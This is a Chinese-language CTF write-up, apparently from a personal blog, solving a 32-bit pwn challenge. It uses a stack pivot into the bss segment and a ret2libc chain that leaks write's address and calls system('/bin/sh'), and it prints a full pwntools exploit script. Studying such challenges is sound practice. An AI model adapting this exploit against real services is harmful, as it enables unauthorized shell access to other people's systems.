pwn1


[Black Watch 入群题]PWN

检查保护机制,32位,开NX

IDA打开,查看main函数,看到vul_function()函数

虽然buf在栈上但输入的长度仅仅能够覆盖ebp和返回地址,但s在bss段,而且输入的长度也够长,因此想到了栈迁移,覆盖vul_function返回地址,使其到bss段上执行

解题思路

找到s在bss段中的位置是0x804A300

在bss段的s上需要调用system(“/bin/sh”),但没有提供system和”/bin/sh”的地址,还需要写个ROP链,先泄露write函数的真实地址,再利用LibcSearcher函数可以根据泄露的地址找到相应的libc版本,从而得到system和”/bin/sh”的地址。

解题过程

注意:发现做题久了之后,libc版本的问题,如果虚拟机LibcSearcher每次搜出来的libc版本都不是想要的版本,其实有个libc-2.23就可以了,大部分题用2.23都可以跑出来,2.23yyds!

exp

#!/usr/bin/python2
#coding=utf-8
from pwn import *
#
# from LibcSearcher import *

context(os = "linux", arch = "i386", log_level= "debug")
p = remote("node4.buuoj.cn", 27426)

elf = ELF("spwn")

bss_s = 0x0804A300				#将fake栈迁移到bss中
leave_ret = 0x08048511			#栈迁移所需要的的地址
write_plt = elf.plt["write"]	#plt表可以调用write函数
write_got = elf.got["write"]	#got表里有write函数的真实地址
main_addr = elf.sym["main"]	#控制函数执行流需要再次回到主函数
# 需要打印出write的真实地址查出,并且让函数再次返回主函数
payload = b"aaaa" + p32(write_plt) + p32(main_addr)
payload += p32(1) + p32(write_got) + p32(4)
p.sendafter("name?", payload)
# 上面将一些执行流程写入了bss段
# 接下来的写入的buf在栈上,所以可以控制程序执行到bss段
payload = b"a" * 0x18 #这个payload是写到栈上进行栈迁移的,所以先填充到ebp之前
payload += p32(bss_s) + p32(leave_ret)
p.sendafter("say?", payload)

write_addr = u32(p.recv(4)) #接收泄露的地址
#libc = LibcSearcher("write", write_addr) #利用LibcSearcher函数可以根据泄露的地址找到相应的libc版本
libc = ELF("./libc-2.23.so")
libc_base = write_addr - libc.sym["write"]#获取libc的基地址
system_addr = libc_base + libc.sym["system"]#通过获取到的libc的基地址和system在libc中的偏移量可以得到system在程序中的真实地址
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))#通过获取到的libc的基地址和"/bin/sh"在libc中的地址可以得到"/bin/sh"在程序中的真实地址
# 第一次执行得到system函数地址后接下来会再次执行main函数
# 在这次有system函数的情况下再次进行相同的栈迁移执行system('/bin/sh')
payload = b"aaaa" + p32(system_addr) + p32(main_addr)
payload += p32(binsh_addr)
p.sendafter("name?", payload)

payload = b"a" * 0x18 + p32(bss_s) + p32(leave_ret)
p.sendafter("say?", payload)

p.interactive()


文章作者: Pr0b1em
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Pr0b1em !
  目录